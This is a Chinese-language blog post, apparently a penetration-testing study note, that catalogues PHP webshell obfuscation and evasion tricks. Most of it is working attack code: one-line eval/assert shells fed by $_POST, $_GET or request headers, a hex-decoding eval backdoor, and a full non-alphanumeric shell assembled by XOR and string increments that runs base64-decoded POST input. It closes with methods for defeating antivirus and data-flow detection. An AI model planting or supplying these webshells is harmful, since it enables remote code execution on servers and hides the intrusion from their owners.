渗透学习之PHP--webshell

1.1 常见变形

  • GLOBALS

    • eval($GLOBALS['_POST']['op']);
  • $_FILE

    • eval($_FILE['name']);
  • 拆分

    • eval(${"_PO"."ST"} ['sz']);
  • 动态函数执行

    • $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
    • $a=$_GET['a'];$a($_GET['b']);
  • create_function

    • $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
  • preg_replace
  • 变形

    • str_replace(" ", "e v a l")
  • 进制转化

    • "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
  • 进制运算

    • ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
  • 自增运算

    • $a="a";$a++;
  • 强制类型转换

    • $a='';$a.=[]; // Array
  • 利用文件名

    • __FILE__
  • 注释

    • $a="e"."v"./*-/*-*/"a"./*-*/"l";
  • 反射

    • ReflectionFunction

1.2 Bypass

  • 基于少见函数

    • mb_eregi_replace('.*',$_GET[1],'','e');
    • set_error_handler + trigger_error
  • 基于污染传播

    • putenv($_GET["c"]);eval(getenv('path'));
    • parse_str
    • parse_url
    • extract
    • token_get_all
    • define
  • 基于少见源

    • $a = filter_input(INPUT_GET,'c');
    • eval(end(getallheaders()));
    • get_defined_vars
    • getallheaders
    • get_meta_tags
    • phpinfo
    • 外部变量 / 文件信息
    • 重载 toString

1.3 字符串变形函数

  • base64_decode
  • base64_encode
  • str_replace
  • str_rot13
  • strtok
  • strtolower
  • strtoupper
  • strtr
  • substr
  • substr_replace
  • trim
  • ucfirst
  • ucwords

 1.4 回调函数

  • array_filter
  • array_map
  • array_reduce
  • array_walk
  • array_walk
  • array_walk_recursive
  • call_user_func
  • call_user_func_array
  • filter_var
  • filter_var_array
  • preg_replace_callback
  • register_tick_function
  • registregister_shutdown_function
  • uasort
  • uksort

1.5 加解密函数

  • mcrypt_encrypt
  • openssl_encrypt

1.6 其他执行方式 

  • FFI
  • SimpleXML
  • SimpleXMLElement

1.7 自定义函数

使用自定义的加解密函数,在一定程度上可以绕过一些防护软件的查杀,下面的代码是一个基于十六进制的执行的简单例子。

$string = '';
$password = 'password';
if(isset($_POST[$password])){
    $hex = $_POST[$password];
    for($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
}
eval($string);

1.8  特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_]));

1.9 检测对抗

  • 基于混淆影响程序分析
  • 基于动态变量影响程序执行
  • 抛出异常打断数据流分析
  • 基于反射打断数据流分析
  • 基于引用传递打断数据流分析
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值